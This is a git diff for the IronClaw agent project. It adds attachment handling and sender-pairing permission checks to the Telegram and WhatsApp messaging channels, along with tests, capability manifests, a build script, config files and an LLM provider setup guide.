}"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "large_id"); // Largest photo + assert_eq!(attachments[0].mime_type, "image/jpeg"); + assert_eq!(attachments[0].size_bytes, Some(54321)); + assert!(attachments[0].source_url.as_ref().unwrap().contains("large_id")); + } + + #[test] + fn test_extract_attachments_document() { + let json = r#"{ + "message_id": 2, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "document": { + "file_id": "doc_abc", + "file_unique_id": "d1", + "file_name": "report.pdf", + "mime_type": "application/pdf", + "file_size": 102400 + }, + "caption": "Here is the report" + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "doc_abc"); + assert_eq!(attachments[0].mime_type, "application/pdf"); + assert_eq!(attachments[0].filename, Some("report.pdf".to_string())); + assert_eq!(attachments[0].size_bytes, Some(102400)); + } + + #[test] + fn test_extract_attachments_voice() { + let json = r#"{ + "message_id": 3, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "voice": { + "file_id": "voice_xyz", + "file_unique_id": "v1", + "duration": 5, + "mime_type": "audio/ogg", + "file_size": 9000 + } + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "voice_xyz"); + assert_eq!(attachments[0].mime_type, "audio/ogg"); + assert_eq!( + attachments[0].filename.as_deref(), + Some("voice_voice_xyz.ogg") + ); + assert!(attachments[0] + .extras_json + .contains("\"duration_secs\":5")); + } + + #[test] + fn test_extract_attachments_video() { + let json = r#"{ + "message_id": 4, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "video": { + "file_id": "vid_1", + "file_unique_id": "vv1", + "file_name": "clip.mp4", + "mime_type": "video/mp4", + "file_size": 5000000 + }, + "caption": "Check this out" + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "vid_1"); + assert_eq!(attachments[0].mime_type, "video/mp4"); + assert_eq!(attachments[0].filename, Some("clip.mp4".to_string())); + } + + #[test] + fn test_extract_attachments_audio() { + let json = r#"{ + "message_id": 5, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "audio": { + "file_id": "audio_1", + "file_unique_id": "a1", + "file_name": "song.mp3", + "mime_type": "audio/mpeg", + "file_size": 3000000 + } + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "audio_1"); + assert_eq!(attachments[0].mime_type, "audio/mpeg"); + assert_eq!(attachments[0].filename, Some("song.mp3".to_string())); + } + + #[test] + fn test_extract_attachments_sticker() { + let json = r#"{ + "message_id": 6, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "sticker": { + "file_id": "sticker_1", + "file_unique_id": "st1", + "type": "regular", + "file_size": 20000 + } + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "sticker_1"); + assert_eq!(attachments[0].mime_type, "image/webp"); + } + + #[test] + fn test_extract_attachments_text_only_empty() { + let json = r#"{ + "message_id": 7, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "text": "Hello" + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + assert!(attachments.is_empty()); + } + + #[test] + fn test_extract_attachments_multiple_types() { + let json = r#"{ + "message_id": 8, + "from": {"id": 1, "is_bot": false, "first_name": "A"}, + "chat": {"id": 1, "type": "private"}, + "photo": [ + {"file_id": "photo_1", "file_unique_id": "p1", "width": 100, "height": 100} + ], + "document": { + "file_id": "doc_1", + "file_unique_id": "d1", + "file_name": "file.txt", + "mime_type": "text/plain" + } + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + let attachments = extract_attachments(&msg); + + // Both photo and document should be extracted + assert_eq!(attachments.len(), 2); + } + + #[test] + fn test_parse_update_with_photo_fallback_content() { + // A photo-only message (no text, no caption) should have empty content + // but still produce attachments + let json = r#"{ + "message_id": 9, + "from": {"id": 42, "is_bot": false, "first_name": "Test"}, + "chat": {"id": 42, "type": "private"}, + "photo": [ + {"file_id": "ph1", "file_unique_id": "u1", "width": 320, "height": 240} + ] + }"#; + let msg: TelegramMessage = serde_json::from_str(json).unwrap(); + + // Content is empty (no text, no caption) + assert!(msg.text.is_none()); + assert!(msg.caption.is_none()); + + // But attachments exist + let attachments = extract_attachments(&msg); + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "ph1"); + } + + #[test] + fn test_is_downloadable_document() { + let make = |mime: &str, filename: Option<&str>| InboundAttachment { + id: "test".to_string(), + mime_type: mime.to_string(), + filename: filename.map(|s| s.to_string()), + size_bytes: Some(1024), + source_url: None, + storage_key: None, + extracted_text: None, + extras_json: String::new(), + }; + + // PDFs and Office docs should be downloaded + assert!(is_downloadable_document(&make("application/pdf", Some("report.pdf")))); + assert!(is_downloadable_document(&make( + "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + Some("doc.docx"), + ))); + assert!(is_downloadable_document(&make("text/plain", Some("notes.txt")))); + + // Voice, image, audio, video should NOT be downloaded + assert!(!is_downloadable_document(&make("audio/ogg", Some("voice_123.ogg")))); + assert!(!is_downloadable_document(&make("image/jpeg", None))); + assert!(!is_downloadable_document(&make("audio/mpeg", Some("song.mp3")))); + assert!(!is_downloadable_document(&make("video/mp4", Some("clip.mp4")))); + } } diff --git a/channels-src/telegram/telegram.capabilities.json b/channels-src/telegram/telegram.capabilities.json index 41735b52..8317307b 100644 --- a/channels-src/telegram/telegram.capabilities.json +++ b/channels-src/telegram/telegram.capabilities.json @@ -1 +1,63 @@ -{"type":"channel","name":"telegram","description":"Telegram Bot API channel for receiving and responding to Telegram messages","capabilities":{"http":{"allowlist":[{"host":"api.telegram.org","path_prefix":"/bot"}],"credentials":{"telegram_bot":{"secret_name":"telegram_bot_token","location":{"type":"url_path","placeholder":"{TELEGRAM_BOT_TOKEN}"},"host_patterns":["api.telegram.org"]}},"rate_limit":{"requests_per_minute":30,"requests_per_hour":1000}},"secrets":{"allowed_names":["telegram_*"]},"channel":{"allowed_paths":["/webhook/telegram"],"allow_polling":true,"min_poll_interval_ms":30000,"workspace_prefix":"channels/telegram/","emit_rate_limit":{"messages_per_minute":100,"messages_per_hour":5000}}},"config":{"bot_username":null,"owner_id":null,"respond_to_all_group_messages":false,"polling_enabled":false,"poll_interval_ms":30000,"dm_policy":"pairing","allow_from":[]}} +{ + "version": "0.2.0", + "wit_version": "0.3.0", + "type": "channel", + "name": "telegram", + "description": "Telegram Bot API channel for receiving and responding to Telegram messages", + "setup": { + "required_secrets": [ + { + "name": "telegram_bot_token", + "prompt": "Enter your Telegram Bot API token (from @BotFather)", + "optional": false + } + ], + "setup_url": "https://t.me/BotFather" + }, + "capabilities": { + "http": { + "allowlist": [ + { "host": "api.telegram.org", "path_prefix": "/bot" }, + { "host": "api.telegram.org", "path_prefix": "/file/bot" } + ], + "credentials": { + "telegram_bot": { + "secret_name": "telegram_bot_token", + "location": { "type": "url_path", "placeholder": "{TELEGRAM_BOT_TOKEN}" }, + "host_patterns": ["api.telegram.org"] + } + }, + "max_response_bytes": 52428800, + "rate_limit": { + "requests_per_minute": 30, + "requests_per_hour": 1000 + } + }, + "secrets": { + "allowed_names": ["telegram_*"] + }, + "channel": { + "allowed_paths": ["/webhook/telegram"], + "allow_polling": true, + "min_poll_interval_ms": 30000, + "workspace_prefix": "channels/telegram/", + "emit_rate_limit": { + "messages_per_minute": 100, + "messages_per_hour": 5000 + }, + "webhook": { + "secret_header": "X-Telegram-Bot-Api-Secret-Token", + "secret_name": "telegram_webhook_secret" + } + } + }, + "config": { + "bot_username": null, + "owner_id": null, + "respond_to_all_group_messages": false, + "polling_enabled": false, + "poll_interval_ms": 30000, + "dm_policy": "pairing", + "allow_from": [] + } +} diff --git a/channels-src/whatsapp/Cargo.toml b/channels-src/whatsapp/Cargo.toml index 8dd03499..cf211e2e 100644 --- a/channels-src/whatsapp/Cargo.toml +++ b/channels-src/whatsapp/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "whatsapp-channel" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "WhatsApp Cloud API channel for IronClaw" @@ -16,3 +16,5 @@ serde_json = "1" opt-level = "s" lto = true strip = true + +[workspace] diff --git a/channels-src/whatsapp/build.sh b/channels-src/whatsapp/build.sh new file mode 100755 index 00000000..68a6c1f1 --- /dev/null +++ b/channels-src/whatsapp/build.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# Build the WhatsApp channel WASM component +# +# Prerequisites: +# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2 +# - wasm-tools for component creation: cargo install wasm-tools +# +# Output: +# - whatsapp.wasm - WASM component ready for deployment +# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm) + +set -euo pipefail + +cd "$(dirname "$0")" + +if ! command -v wasm-tools &> /dev/null; then + echo "Error: wasm-tools not found. Install with: cargo install wasm-tools" + exit 1 +fi + +echo "Building WhatsApp channel WASM component..." + +# Build the WASM module +cargo build --release --target wasm32-wasip2 + +# Convert to component model (if not already a component) +# wasm-tools component new is idempotent on components +WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm" + +if [ -f "$WASM_PATH" ]; then + # Create component if needed + wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm + + # Optimize the component + wasm-tools strip whatsapp.wasm -o whatsapp.wasm + + echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))" + echo "" + echo "To install:" + echo " mkdir -p ~/.ironclaw/channels" + echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/" + echo "" + echo "Then add your access token to secrets:" + echo " # Set whatsapp_access_token in your environment or secrets store" +else + echo "Error: WASM output not found at $WASM_PATH" + exit 1 +fi diff --git a/channels-src/whatsapp/src/lib.rs b/channels-src/whatsapp/src/lib.rs index 7913fcd4..c69a9b9f 100644 --- a/channels-src/whatsapp/src/lib.rs +++ b/channels-src/whatsapp/src/lib.rs @@ -32,7 +32,7 @@ use exports::near::agent::channel::{ AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest, OutgoingHttpResponse, StatusUpdate, }; -use near::agent::channel_host::{self, EmittedMessage}; +use near::agent::channel_host::{self, EmittedMessage, InboundAttachment}; // ============================================================================ // WhatsApp Cloud API Types @@ -137,10 +137,46 @@ struct WhatsAppMessage { /// Text content (if type is "text") text: Option, + /// Image content + image: Option, + + /// Audio content + audio: Option, + + /// Video content + video: Option, + + /// Document content + document: Option, + /// Context for replies context: Option, } +/// WhatsApp media attachment (image, audio, video). +#[derive(Debug, Deserialize)] +struct WhatsAppMedia { + /// Media ID (use to download via Graph API) + id: String, + /// MIME type + mime_type: Option, + /// Caption text + caption: Option, +} + +/// WhatsApp document attachment. +#[derive(Debug, Deserialize)] +struct WhatsAppDocument { + /// Media ID + id: String, + /// MIME type + mime_type: Option, + /// Filename + filename: Option, + /// Caption text + caption: Option, +} + /// Text message content. #[derive(Debug, Deserialize)] struct TextContent { @@ -226,6 +262,15 @@ struct WhatsAppMessageMetadata { timestamp: String, } +/// Workspace path for persisting owner_id across WASM callbacks. +const OWNER_ID_PATH: &str = "state/owner_id"; +/// Workspace path for persisting dm_policy across WASM callbacks. +const DM_POLICY_PATH: &str = "state/dm_policy"; +/// Workspace path for persisting allow_from (JSON array) across WASM callbacks. +const ALLOW_FROM_PATH: &str = "state/allow_from"; +/// Channel name for pairing store (used by pairing host APIs). +const CHANNEL_NAME: &str = "whatsapp"; + /// Channel configuration from capabilities file. #[derive(Debug, Deserialize)] struct WhatsAppConfig { @@ -236,6 +281,15 @@ struct WhatsAppConfig { /// Whether to reply to the original message (thread context) #[serde(default = "default_reply_to_message")] reply_to_message: bool, + + #[serde(default)] + owner_id: Option, + + #[serde(default)] + dm_policy: Option, + + #[serde(default)] + allow_from: Option>, } fn default_api_version() -> String { @@ -264,6 +318,9 @@ impl Guest for WhatsAppChannel { WhatsAppConfig { api_version: default_api_version(), reply_to_message: default_reply_to_message(), + owner_id: None, + dm_policy: None, + allow_from: None, } } }; @@ -279,6 +336,24 @@ impl Guest for WhatsAppChannel { // Persist api_version in workspace so on_respond() can read it let _ = channel_host::workspace_write("channels/whatsapp/api_version", &config.api_version); + // Persist permission config for handle_message + if let Some(ref owner_id) = config.owner_id { + let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id); + channel_host::log( + channel_host::LogLevel::Info, + &format!("Owner restriction enabled: user {}", owner_id), + ); + } else { + let _ = channel_host::workspace_write(OWNER_ID_PATH, ""); + } + + let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing"); + let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy); + + let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default()) + .unwrap_or_else(|_| "[]".to_string()); + let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json); + // WhatsApp Cloud API is webhook-only, no polling available Ok(ChannelConfig { display_name: "WhatsApp".to_string(), @@ -437,6 +512,10 @@ impl Guest for WhatsAppChannel { fn on_status(_update: StatusUpdate) {} + fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> { + Err("broadcast not yet implemented for WhatsApp channel".to_string()) + } + fn on_shutdown() { channel_host::log( channel_host::LogLevel::Info, @@ -579,31 +658,116 @@ fn handle_incoming_message(req: &IncomingHttpRequest) -> OutgoingHttpResponse { json_response(200, serde_json::json!({"status": "ok"})) } +/// Extract attachments from a WhatsApp message. +fn extract_whatsapp_attachments(message: &WhatsAppMessage) -> Vec { + let mut attachments = Vec::new(); + + if let Some(ref img) = message.image { + attachments.push(InboundAttachment { + id: img.id.clone(), + mime_type: img + .mime_type + .clone() + .unwrap_or_else(|| "image/jpeg".to_string()), + filename: None, + size_bytes: None, + source_url: None, // WhatsApp requires Graph API call with media ID to get URL + storage_key: None, + extracted_text: img.caption.clone(), + extras_json: String::new(), + }); + } + + if let Some(ref audio) = message.audio { + attachments.push(InboundAttachment { + id: audio.id.clone(), + mime_type: audio + .mime_type + .clone() + .unwrap_or_else(|| "audio/ogg".to_string()), + filename: None, + size_bytes: None, + source_url: None, + storage_key: None, + extracted_text: audio.caption.clone(), + extras_json: String::new(), + }); + } + + if let Some(ref video) = message.video { + attachments.push(InboundAttachment { + id: video.id.clone(), + mime_type: video + .mime_type + .clone() + .unwrap_or_else(|| "video/mp4".to_string()), + filename: None, + size_bytes: None, + source_url: None, + storage_key: None, + extracted_text: video.caption.clone(), + extras_json: String::new(), + }); + } + + if let Some(ref doc) = message.document { + attachments.push(InboundAttachment { + id: doc.id.clone(), + mime_type: doc + .mime_type + .clone() + .unwrap_or_else(|| "application/octet-stream".to_string()), + filename: doc.filename.clone(), + size_bytes: None, + source_url: None, + storage_key: None, + extracted_text: doc.caption.clone(), + extras_json: String::new(), + }); + } + + attachments +} + /// Process a single WhatsApp message. fn handle_message( message: &WhatsAppMessage, phone_number_id: &str, contact_names: &std::collections::HashMap, ) { - // Only handle text messages for now - // TODO: Add support for image, audio, video, document, etc. - if message.message_type != "text" { - channel_host::log( - channel_host::LogLevel::Debug, - &format!("Skipping non-text message type: {}", message.message_type), - ); - return; - } + let attachments = extract_whatsapp_attachments(message); - // Extract text content + // Extract text content (from text body or media captions) let text = match &message.text { Some(t) if !t.body.is_empty() => t.body.clone(), - _ => return, + _ => { + // Try to use caption from media messages as content + let caption = message + .image + .as_ref() + .and_then(|m| m.caption.clone()) + .or_else(|| message.video.as_ref().and_then(|m| m.caption.clone())) + .or_else(|| message.document.as_ref().and_then(|m| m.caption.clone())); + match caption { + Some(c) if !c.is_empty() => c, + _ if !attachments.is_empty() => String::new(), + _ => return, + } + } }; // Look up sender's name from contacts let user_name = contact_names.get(&message.from).cloned(); + // Permission check (WhatsApp is always DM) + if !check_sender_permission( + &message.from, + user_name.as_deref(), + phone_number_id, + ) { + return; + } + // Build metadata for response routing // This is critical - the response handler uses this to know where to send let metadata = WhatsAppMessageMetadata { @@ -622,6 +786,7 @@ fn handle_message( content: text, thread_id: None, // WhatsApp doesn't have threads like Slack/Discord metadata_json, + attachments, }); channel_host::log( @@ -637,6 +802,149 @@ fn handle_message( // Utilities // ============================================================================ +// ============================================================================ +// Permission & Pairing +// ============================================================================ + +/// Check if a sender is permitted. Returns true if allowed. +/// WhatsApp is always 1-to-1 (DM), so dm_policy always applies. +fn check_sender_permission( + sender_phone: &str, + user_name: Option<&str>, + phone_number_id: &str, +) -> bool { + // 1. Owner check (highest priority) + let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty()); + if let Some(ref owner) = owner_id { + if sender_phone != owner { + channel_host::log( + channel_host::LogLevel::Debug, + &format!( + "Dropping message from non-owner {} (owner: {})", + sender_phone, owner + ), + ); + return false; + } + return true; + } + + // 2. DM policy (WhatsApp is always DM) + let dm_policy = + channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string()); + + if dm_policy == "open" { + return true; + } + + // 3. Build merged allow list + let mut allowed: Vec = channel_host::workspace_read(ALLOW_FROM_PATH) + .and_then(|s| serde_json::from_str(&s).ok()) + .unwrap_or_default(); + + if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) { + allowed.extend(store_allowed); + } + + // 4. Check sender (phone number or name) + let is_allowed = allowed.contains(&"*".to_string()) + || allowed.contains(&sender_phone.to_string()) + || user_name.is_some_and(|u| allowed.contains(&u.to_string())); + + if is_allowed { + return true; + } + + // 5. Not allowed — handle by policy + if dm_policy == "pairing" { + let meta = serde_json::json!({ + "phone": sender_phone, + "name": user_name, + }) + .to_string(); + + match channel_host::pairing_upsert_request(CHANNEL_NAME, sender_phone, &meta) { + Ok(result) => { + channel_host::log( + channel_host::LogLevel::Info, + &format!( + "Pairing request for {}: code {}", + sender_phone, result.code + ), + ); + if result.created { + let _ = send_pairing_reply(sender_phone, phone_number_id, &result.code); + } + } + Err(e) => { + channel_host::log( + channel_host::LogLevel::Error, + &format!("Pairing upsert failed: {}", e), + ); + } + } + } + false +} + +/// Send a pairing code message via WhatsApp Cloud API. +fn send_pairing_reply( + recipient_phone: &str, + phone_number_id: &str, + code: &str, +) -> Result<(), String> { + let api_version = channel_host::workspace_read("channels/whatsapp/api_version") + .filter(|s| !s.is_empty()) + .unwrap_or_else(|| "v18.0".to_string()); + + let url = format!( + "https://graph.facebook.com/{}/{}/messages", + api_version, phone_number_id + ); + + let payload = serde_json::json!({ + "messaging_product": "whatsapp", + "recipient_type": "individual", + "to": recipient_phone, + "type": "text", + "text": { + "preview_url": false, + "body": format!( + "To pair with this bot, run: ironclaw pairing approve whatsapp {}", + code + ) + } + }); + + let payload_bytes = + serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?; + + let headers = serde_json::json!({ + "Content-Type": "application/json", + "Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}" + }); + + let result = channel_host::http_request( + "POST", + &url, + &headers.to_string(), + Some(&payload_bytes), + None, + ); + + match result { + Ok(response) if response.status >= 200 && response.status < 300 => Ok(()), + Ok(response) => { + let body_str = String::from_utf8_lossy(&response.body); + Err(format!( + "WhatsApp API error: {} - {}", + response.status, body_str + )) + } + Err(e) => Err(format!("HTTP request failed: {}", e)), + } +} + /// Create a JSON HTTP response. fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse { let body = serde_json::to_vec(&value).unwrap_or_default(); @@ -756,4 +1064,138 @@ mod tests { assert_eq!(parsed.phone_number_id, "123456"); assert_eq!(parsed.sender_phone, "15551234567"); } + + // === Attachment extraction fixture tests === + + #[test] + fn test_extract_whatsapp_image_attachment() { + let msg = WhatsAppMessage { + id: "msg1".to_string(), + from: "15551234567".to_string(), + timestamp: "1234567890".to_string(), + message_type: "image".to_string(), + text: None, + image: Some(WhatsAppMedia { + id: "media_img_1".to_string(), + mime_type: Some("image/jpeg".to_string()), + caption: Some("Look at this".to_string()), + }), + audio: None, + video: None, + document: None, + context: None, + }; + + let attachments = extract_whatsapp_attachments(&msg); + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "media_img_1"); + assert_eq!(attachments[0].mime_type, "image/jpeg"); + assert_eq!( + attachments[0].extracted_text, + Some("Look at this".to_string()) + ); + } + + #[test] + fn test_extract_whatsapp_document_attachment() { + let msg = WhatsAppMessage { + id: "msg2".to_string(), + from: "15551234567".to_string(), + timestamp: "1234567890".to_string(), + message_type: "document".to_string(), + text: None, + image: None, + audio: None, + video: None, + document: Some(WhatsAppDocument { + id: "media_doc_1".to_string(), + mime_type: Some("application/pdf".to_string()), + filename: Some("report.pdf".to_string()), + caption: None, + }), + context: None, + }; + + let attachments = extract_whatsapp_attachments(&msg); + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "media_doc_1"); + assert_eq!(attachments[0].mime_type, "application/pdf"); + assert_eq!( + attachments[0].filename, + Some("report.pdf".to_string()) + ); + } + + #[test] + fn test_extract_whatsapp_audio_video_attachments() { + let msg = WhatsAppMessage { + id: "msg3".to_string(), + from: "15551234567".to_string(), + timestamp: "1234567890".to_string(), + message_type: "audio".to_string(), + text: None, + image: None, + audio: Some(WhatsAppMedia { + id: "media_audio_1".to_string(), + mime_type: Some("audio/ogg".to_string()), + caption: None, + }), + video: Some(WhatsAppMedia { + id: "media_video_1".to_string(), + mime_type: Some("video/mp4".to_string()), + caption: None, + }), + document: None, + context: None, + }; + + let attachments = extract_whatsapp_attachments(&msg); + assert_eq!(attachments.len(), 2); + assert_eq!(attachments[0].id, "media_audio_1"); + assert_eq!(attachments[1].id, "media_video_1"); + } + + #[test] + fn test_extract_whatsapp_text_only_no_attachments() { + let msg = WhatsAppMessage { + id: "msg4".to_string(), + from: "15551234567".to_string(), + timestamp: "1234567890".to_string(), + message_type: "text".to_string(), + text: Some(TextContent { + body: "Hello".to_string(), + }), + image: None, + audio: None, + video: None, + document: None, + context: None, + }; + + let attachments = extract_whatsapp_attachments(&msg); + assert!(attachments.is_empty()); + } + + #[test] + fn test_parse_whatsapp_image_message() { + let json = r#"{ + "id": "wamid.123", + "from": "15551234567", + "timestamp": "1234567890", + "type": "image", + "image": { + "id": "media_img_abc", + "mime_type": "image/jpeg", + "caption": "Check this" + } + }"#; + + let msg: WhatsAppMessage = serde_json::from_str(json).unwrap(); + assert_eq!(msg.message_type, "image"); + assert!(msg.image.is_some()); + + let attachments = extract_whatsapp_attachments(&msg); + assert_eq!(attachments.len(), 1); + assert_eq!(attachments[0].id, "media_img_abc"); + } } diff --git a/channels-src/whatsapp/whatsapp.capabilities.json b/channels-src/whatsapp/whatsapp.capabilities.json index 86ab2712..a0115d79 100644 --- a/channels-src/whatsapp/whatsapp.capabilities.json +++ b/channels-src/whatsapp/whatsapp.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "type": "channel", "name": "whatsapp", "description": "WhatsApp Cloud API channel for receiving and responding to WhatsApp messages", @@ -6,7 +8,7 @@ "required_secrets": [ { "name": "whatsapp_access_token", - "prompt": "Enter your WhatsApp Cloud API access token (from Meta Developer Portal)", + "prompt": "Enter your WhatsApp Cloud API permanent access token (from the Meta Developer Portal under your app's WhatsApp > API Setup).", "validation": "^[A-Za-z0-9_-]+$" }, { @@ -16,7 +18,8 @@ "auto_generate": { "length": 32 } } ], - "validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}" + "validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}", + "setup_url": "https://developers.facebook.com/apps" }, "capabilities": { "http": { @@ -48,6 +51,9 @@ }, "config": { "api_version": "v18.0", - "reply_to_message": true + "reply_to_message": true, + "owner_id": null, + "dm_policy": "pairing", + "allow_from": [] } } diff --git a/clippy.toml b/clippy.toml new file mode 100644 index 00000000..9a039e91 --- /dev/null +++ b/clippy.toml @@ -0,0 +1,8 @@ +# Complexity guardrails for AI-assisted development quality. +# These thresholds prevent new violations while preserving existing code. +# See: https://github.com/nearai/ironclaw/issues/338 + +cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled) +too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled) +too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations) +type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations) diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 00000000..3e31b00a --- /dev/null +++ b/codecov.yml @@ -0,0 +1,10 @@ +coverage: + status: + project: + default: + target: auto + threshold: 1% + patch: + default: + target: 80% + threshold: 5% \ No newline at end of file diff --git a/deploy/env.example b/deploy/env.example index 046d5b0a..c982d9aa 100644 --- a/deploy/env.example +++ b/deploy/env.example @@ -2,12 +2,15 @@ # Do not use placeholder passwords in production. DATABASE_URL=postgres://ironclaw:CHANGE_ME@localhost:5432/ironclaw -# NEAR AI -NEARAI_SESSION_TOKEN=CHANGE_ME +# NEAR AI Cloud (API key auth, Chat Completions API) +# Get an API key from https://cloud.near.ai +NEARAI_API_KEY=CHANGE_ME NEARAI_MODEL=claude-3-5-sonnet-20241022 -NEARAI_BASE_URL=https://private.near.ai -NEARAI_AUTH_URL=https://private.near.ai -NEARAI_API_MODE=chat_completions +NEARAI_BASE_URL=https://cloud-api.near.ai + +# Or use NEAR AI Chat (session token auth, Responses API): +# NEARAI_SESSION_TOKEN=sess_... +# NEARAI_BASE_URL=https://private.near.ai # Agent AGENT_NAME=ironclaw @@ -21,6 +24,15 @@ GATEWAY_HOST=0.0.0.0 GATEWAY_PORT=3000 GATEWAY_AUTH_TOKEN=CHANGE_ME +# Restart Feature (Docker containers only) +# IMPORTANT: Set this in the container entrypoint or docker-compose to enable restart. +# The Docker entrypoint loop monitors exit codes: +# - Exit code 0 = clean restart: reset failure counter, wait IRONCLAW_RESTART_DELAY, restart +# - Exit code ≠ 0 = failure: increment counter, exit after IRONCLAW_MAX_FAILURES +IRONCLAW_IN_DOCKER=false +IRONCLAW_RESTART_DELAY=5 # seconds to wait before restarting (range: 1-30) +IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits + # Disabled for initial deploy SANDBOX_ENABLED=false HEARTBEAT_ENABLED=false diff --git a/docs/LLM_PROVIDERS.md b/docs/LLM_PROVIDERS.md new file mode 100644 index 00000000..de6d6ece --- /dev/null +++ b/docs/LLM_PROVIDERS.md @@ -0,0 +1,178 @@ +# LLM Provider Configuration + +IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible +endpoint as well as Anthropic and Ollama directly. This guide covers the most common +configurations. + +## Provider Overview + +| Provider | Backend value | Requires API key | Notes | +|---|---|---|---| +| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model | +| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models | +| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models | +| Google Gemini | `gemini` | `GEMINI_API_KEY` | Gemini models | +| AWS Bedrock | `bedrock` | `BEDROCK_ACCESS_KEY` | Requires OpenAI proxy (e.g. LiteLLM) | +| io.net | `ionet` | `IONET_API_KEY` | Intelligence API | +| Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models | +| Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models | +| Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Access to Workers AI | +| Ollama | `ollama` | No | Local inference | +| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models | +| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | +| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | +| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted | +| LM Studio | `openai_compatible` | No | Local GUI | + +--- + +## NEAR AI (default) + +No additional configuration required. On first run, `ironclaw onboard` opens a browser +for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`. + +```env +NEARAI_MODEL=claude-3-5-sonnet-20241022 +NEARAI_BASE_URL=https://private.near.ai +``` + +--- + +## Anthropic (Claude) + +```env +LLM_BACKEND=anthropic +ANTHROPIC_API_KEY=sk-ant-... +``` + +Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022` + +--- + +## OpenAI (GPT) + +```env +LLM_BACKEND=openai +OPENAI_API_KEY=sk-... +``` + +Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini` + +--- + +## Ollama (local) + +Install Ollama from [ollama.com](https://ollama.com), pull a model, then: + +```env +LLM_BACKEND=ollama +OLLAMA_MODEL=llama3.2 +# OLLAMA_BASE_URL=http://localhost:11434 # default +``` + +Pull a model first: `ollama pull llama3.2` + +--- + +## OpenAI-Compatible Endpoints + +All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the +provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key. + +### OpenRouter + +[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key. + +```env +LLM_BACKEND=openai_compatible 